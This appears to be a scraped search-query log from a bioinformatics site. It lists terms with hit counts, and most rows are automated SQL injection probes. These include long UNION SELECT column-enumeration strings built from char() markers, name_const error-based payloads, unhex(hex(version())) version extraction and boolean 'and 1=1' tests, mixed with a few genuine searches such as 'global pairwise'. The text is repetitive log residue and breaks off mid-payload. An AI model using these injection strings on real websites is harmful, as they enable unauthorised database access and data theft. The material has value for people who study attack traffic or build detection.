| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45) -- |
2 |
| assay |
2 |
| yt~'" |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45) -- |
2 |
| yt~2121121121212.1 |
2 |
| yt~ and 1=1 |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45) -- |
2 |
| yta~+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,+and+1=1 |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45) -- |
2 |
| protein+sequencing+analysis99999"+union+select+unhex(hex(version()))+--+"x"="x |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45) -- |
2 |
| author+id'+or+(1,2)=(select*from(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
2 |
| weight matrix'a=0 |
2 |
| hit99999'+union+select+unhex(hex(version()))+--+'x'='x |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45) -- |
2 |
| find+protein+in+text'+or+(1,2)=(selectfrom(select+name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a)+--+'x'='x |
2 |
| global+pairwise |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45) -- |
2 |
| predict'a=0 |
2 |
| predict |
2 |
| trac |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45) -- |
2 |
| tools'a=0 |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45) -- |
2 |
| multiple sequence alignments running methods |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),c